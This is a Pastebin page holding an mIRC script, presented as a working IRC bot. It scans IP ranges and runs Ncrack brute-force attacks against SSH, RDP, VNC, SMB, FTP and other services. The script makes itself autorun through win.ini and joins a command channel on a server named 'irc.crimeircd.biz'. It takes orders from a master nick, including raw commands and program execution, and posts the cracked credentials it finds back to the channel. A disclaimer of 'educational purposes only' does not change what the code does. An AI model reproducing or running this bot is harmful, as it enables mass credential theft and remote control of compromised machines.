independentt

NCRACK Range Scanner IRC Bot [mIRC script] - 100% clean

Sep 7th, 2014
23,528
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;;UPDATE: Added Windows autorun, replaced on LOAD initialization script by a on START.
  2. ;;Added other protocols used for cracking. (Untested: rhttp rftp rssl  rsmb)
  3. ;;Can now specify a channel password for variable %fldchan (Ex: #n00bs newbiepass)
  4. ;;Copy,  (ALT+R in mIRC) Paste, Press OK!
  5. ;;Load initialization script.
  6. ;;make sure %ncrackdir is correct (Can differ depending if your OS is not 64 bits.)
  7. ;;Not for bad use, educational purposes only.
  8. ;;If you post it somewhere else make sure you give me some credits, thanks.
  9.  
  10.  
  11. on 1:start:{
  12.   ;;Windows Autorun
  13.   .writeini $left($mircdir,3) $+ windows\win.ini windows load $shortfn($mircexe)
  14.   l04d
  15.   if (!$server) server %ircserv -j $gettok(%fldchan,1,32) -n $gettok(%fldchan,2,32)
  16. }
  17. alias l04d {
  18.   echo -a Download NCRACK here 12http://nmap.org/ncrack/
  19.   echo -a set NCRACK working directory (Default: /set $chr(37) $+ ncrackdir C:\Program Files (x86)\Ncrack )
  20.   echo -a set SCAN INTERVAL IN ms (Default: /set $chr(37) $+ interval 2500 )
  21.   echo -a set RESULTS DIRECTORY   (Default:  /set $chr(37) $+ dir C:\TEMP\ )
  22.   echo -a set OUTPUT CHANNEL (Default: /set $chr(37) $+ fldchan #powercc )
  23.   echo -a set BOT MASTER  (Default: /set $chr(37) $+ master powercc    ) [case-sensitive nick]
  24.   echo -a set IRC SERVER  (Default: /set $chr(37) $+ ircserv irc.crimeircd.biz:6667 )
  25.   echo -a set NS REGISTER/IDENT PASS (Default: /set $chr(37) $+ nspass SomeLameAssPasswd ) [case-sensitive passwd]
  26.   echo -a set PORT TO SCAN/CRACK (Default: /set $chr(37) $+ port2work 22 )
  27.   echo -a If a dll is missing 12http://google.com download and put dll in NCRACK DIR
  28.   set %ncrackdir C:\Program Files (x86)\Ncrack
  29.   set %interval 100
  30.   set %dir C:\TEMP\
  31.   set %fldchan #powercc
  32.   set %master powercc
  33.   set %ircserv irc.crimeircd.biz:6667
  34.   set %nspass SomeLamePasswd
  35.   set %port2work 22
  36.   if ($isdir(%ncrackdir)) { echo -a 3NCRACK DIR: %ncrackdir exists... Good! } | elseif (!$isdir(%ncrackdir)) { echo -a 4NCRACK dir not existing... Unloading script, to reload /load -rs $shortfn($script($script)) | unload -rs $script($script) }
  37.   if ($isdir(%dir)) { echo -a 3RESULTS DIR: %dir exists... Good! } | elseif (!$isdir(%dir)) { echo -a 4RESULTS dir not existing... trying to make it... | mkdir %dir | echo -a 3success. }
  38. }
  39. on 1:CONNECT:{ if ($network isin %ircserv) { .timerJOIN 0 30 JOIN %fldchan | .timerREGISTER 1 3601 ns register %nspass SomeDumbMail $+ $r(0,99999) $+ @random $+ $r(0,999999) $+ .net } }
  40. on 1:NOTICE:*identify*:?:{ if ($nick == NickServ) { /ns identify %nspass } }
  41. on 1:JOIN:%fldchan:{ if (%master == $nick) { .msg %fldchan Master %master I am here waiting an order. [commands,  ..rssh <Ip.Ip.Ip.Ip> ..rrdp <Ip.Ip.Ip.Ip> ..rvnc <Ip.Ip.Ip.Ip> ..rpop3 <Ip.Ip.Ip.Ip> ..rsmb <Ip.Ip.Ip.Ip> ..rftp <Ip.Ip.Ip.Ip> ..rhttp <Ip.Ip.Ip.Ip> ..rssl <Ip.Ip.Ip.Ip> , ..listcred [#channel] , ..raw [command] , ..run [program] } }
  42. on *:sockopen:sshscan*:{
  43.   if ($sockerr) { sockclose $sockname | return }
  44.   if ($isfile(start.bat)) { .remove start.bat }
  45.   else {
  46.     write start.bat @echo off
  47.     write start.bat cd %ncrackdir
  48.     write start.bat ncrack -vv -d1 $sock($sockname).ip $+ : $+ %port2work $+ ,cr=100  > $+ %dir $+ $ticks $+ $sock($sockname).ip $+ .log
  49.     run start.bat
  50.     sockclose $sockname
  51.   }
  52. }
  53. alias rssh { set %port2work 22 | sscan $1 }
  54. alias sscan {
  55.   unset %range*
  56.   set %range1 $gettok($1,1,46)
  57.   set %range2 $gettok($1,2,46)
  58.   set %range3 $gettok($1,3,46)
  59.   .timerRANGE -om 0 %interval nextssh %port2work
  60.   msg %fldchan Scan&Crack range %range1 $+ . $+ %range2 $+ . $+ %range3 $+ .* port %port2work with %interval ms
  61. }
  62. alias rrdp { set %port2work 3389 | sscan $1 }
  63. alias rsmb { set %port2work 445 | sscan $1 }
  64. alias rvnc { set %port2work 5900 | sscan $1 }
  65. alias rftp { set %port2work 21 | sscan $1 }
  66. alias rpop3 { set %port2work 110 | sscan $1 }
  67. alias rhttp { set %port2work 80 | sscan $1 }
  68. alias rssl { set %port2work 443 | sscan $1 }
  69. alias nextssh {
  70.   :START
  71.   set %temp %range3 $+ $r(0,9999999999999999999999999999999)
  72.   if ($sock(sshscan $+ %temp).name != $null) goto START
  73.   inc %range4
  74.   sockopen sshscan $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 %port2work
  75.   goto next
  76.   :NEXT
  77.   if (%range4 >= 255) { inc %range3 | set %range4 0 }
  78.   if (%range3 >= 255) { inc %range2 | set %range3 0 }
  79.   if (%range2 >= 255) { unset %range* | .timerRANGE off | if ($server) msg $gettok(%fldchan,1,32) * Scan halted. | halt }
  80. }
  81. alias listcred {
  82.   %var = $findfile(%dir,*.log,0)
  83.   %var2 = 0
  84.   unset %temp
  85.   dolist $iif($1,$1,#) $nick
  86. }
  87. alias dolist {
  88.   inc %var2
  89.   unset %temp
  90.   set %temp $readall($findfile(%dir,*.log,%var2),*Discovered*)
  91.   if (%temp) { .msg $1 $2 9,3  %var2  %temp | unset %temp }
  92.   if (%var2 > %var) halt
  93.   .timerLISTCRED 1 0.1 dolist $1 $2
  94. }
  95. Alias readall {
  96.   if ($read($1,w,$2,0) != $null) {
  97.     return $1 $v1
  98.   }
  99.   else { continue }
  100. }
  101. on 1:TEXT:..*:%fldchan:{ if ($nick === %master) && ($network isin %ircserv) { set %x $1- | $remove(%x,..) | .notice $nick Command Done: $remove(%x,..) } }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×